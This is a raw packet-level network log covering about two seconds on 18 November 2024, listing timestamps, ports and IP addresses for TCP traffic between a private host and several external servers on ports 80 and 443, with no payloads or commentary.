Nov 18, 2024 15:16:58.953718901 CET	443	49778	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:58.954658031 CET	49778	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:58.954720974 CET	443	49778	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:59.072587967 CET	49778	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:59.084701061 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.084726095 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:16:59.084959984 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.084959984 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.085001945 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:16:59.143743992 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.144337893 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.144354105 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.145499945 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.145579100 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.146800041 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.146878004 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.147104979 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.147114992 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.161725998 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.161742926 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.161756039 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.161767960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.161781073 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.161792040 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.161827087 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.162149906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.162187099 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.162206888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.162220955 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.162247896 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.162271976 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.162358046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.162370920 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.162412882 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.162583113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.162817955 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.162861109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.162900925 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.226577997 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.294620991 CET	443	49779	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:59.295023918 CET	49779	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:59.295044899 CET	443	49779	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:59.295408010 CET	443	49779	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:59.295850992 CET	49779	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:59.295912027 CET	443	49779	162.159.61.3	192.168.2.9
Nov 18, 2024 15:16:59.313271999 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.313301086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.313313961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.313337088 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.313380957 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.313456059 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.313468933 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.313492060 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.313518047 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.313694954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.313754082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.313767910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.313813925 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.313952923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.313966036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.314007998 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.314022064 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.314594030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.314605951 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.314618111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.314682007 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.375960112 CET	49779	443	192.168.2.9	162.159.61.3
Nov 18, 2024 15:16:59.395535946 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.395561934 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.395570040 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.395591974 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.395601034 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.395612001 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.395627022 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.395637989 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.395673990 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.395693064 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.432183027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432224035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432240963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432264090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432285070 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.432313919 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.432406902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432459116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432472944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432513952 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.432840109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432890892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.432890892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432909012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432939053 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.432949066 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432952881 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.432964087 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.432990074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.433003902 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.465548038 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.465572119 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.465585947 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.465609074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.465640068 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.489703894 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.490008116 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.490026951 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.491085052 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.491137028 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.491492987 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.491559982 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.491653919 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.512339115 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.512365103 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.512408018 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.512415886 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.512469053 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.512469053 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.535339117 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.551073074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.551125050 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.551139116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.551204920 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.551327944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.551372051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.551424026 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.551587105 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.551609993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.551641941 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.551676035 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.551681042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.551695108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.551736116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.552058935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.552113056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.552115917 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.552124977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.552170992 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.584373951 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.584445000 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.584510088 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.584522009 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.584533930 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.584546089 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.584583044 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.629368067 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.629393101 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.629534960 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.629534960 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.629547119 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.629589081 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.669796944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.669856071 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.669866085 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.669878960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.669914961 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.669955015 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.669960976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670002937 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670010090 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.670017004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670042992 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.670066118 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.670325041 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670373917 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670382977 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.670386076 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670432091 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.670717955 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670763969 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.670861006 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670874119 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670911074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670922995 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.670928955 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.670958042 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.690254927 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.690264940 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.703428030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.703480005 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.703486919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.703537941 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.703561068 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.703609943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.732836008 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:16:59.733187914 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.733205080 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:16:59.733705044 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:16:59.734067917 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.734471083 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:16:59.734580994 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.735738039 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.735805988 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:16:59.735852957 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.735852957 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.735878944 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:16:59.737988949 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.738027096 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.738048077 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.738060951 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.738081932 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.738100052 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.738101006 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.738118887 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.738136053 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.738145113 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.738162994 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.738173962 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.746886969 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.746917963 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.747004986 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.747025967 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.747040987 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.748141050 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.788577080 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.788654089 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.788747072 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.788760900 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.788809061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.788819075 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.788832903 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.788860083 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.788945913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.788986921 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.789031029 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.789043903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.789093971 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.789102077 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.789331913 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.789542913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.789617062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.789623022 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.789638042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.789676905 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.789823055 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.789864063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.789875031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.789902925 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.789916992 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.822227001 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.822272062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.822283983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.822329998 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.822345018 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.828392029 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.828809023 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:59.828819036 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.829924107 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.829996109 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:59.831089973 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:59.831167936 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.831491947 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:59.831501007 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.833502054 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.833527088 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.833535910 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:16:59.892369032 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:59.892606020 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.892631054 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.892714977 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.892714977 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.892735004 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.893007040 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.894526958 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:59.894541979 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:59.895662069 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:59.895667076 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:59.895704031 CET	49783	443	192.168.2.9	20.190.159.0
Nov 18, 2024 15:16:59.895711899 CET	443	49783	20.190.159.0	192.168.2.9
Nov 18, 2024 15:16:59.908009052 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908026934 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908040047 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908068895 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.908094883 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.908132076 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908159018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908174038 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.908180952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908202887 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.908207893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908211946 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.908221960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908245087 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.908260107 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.908483028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908498049 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908648014 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.908742905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908756971 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908763885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908776999 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.908828974 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.909023046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.941499949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.941658974 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.941673994 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:16:59.941729069 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:16:59.957195997 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:16:59.958760977 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.958775997 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.958838940 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:59.958853006 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.958863020 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.958885908 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.958909035 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:59.958935022 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:59.959897995 CET	49782	443	192.168.2.9	152.195.19.97
Nov 18, 2024 15:16:59.959912062 CET	443	49782	152.195.19.97	192.168.2.9
Nov 18, 2024 15:16:59.963685036 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.963695049 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.963711023 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.963717937 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.963735104 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.963752985 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.963762045 CET	443	49780	13.107.246.57	192.168.2.9
Nov 18, 2024 15:16:59.963784933 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:16:59.963808060 CET	49780	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.008553028 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.008574009 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.008881092 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.008891106 CET	443	49781	13.107.246.57	192.168.2.9
Nov 18, 2024 15:17:00.008934021 CET	49781	443	192.168.2.9	13.107.246.57
Nov 18, 2024 15:17:00.021519899 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.021542072 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.021553040 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.021569967 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.021575928 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.021584988 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.021780014 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.021800995 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.021817923 CET	443	49784	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:00.021908045 CET	49784	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:00.026740074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.026765108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.026779890 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.026793003 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.026807070 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.026818991 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.026829958 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:00.026830912 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.026855946 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:00.026868105 CET	49750	80	192.168.2.9	185.215.113.206
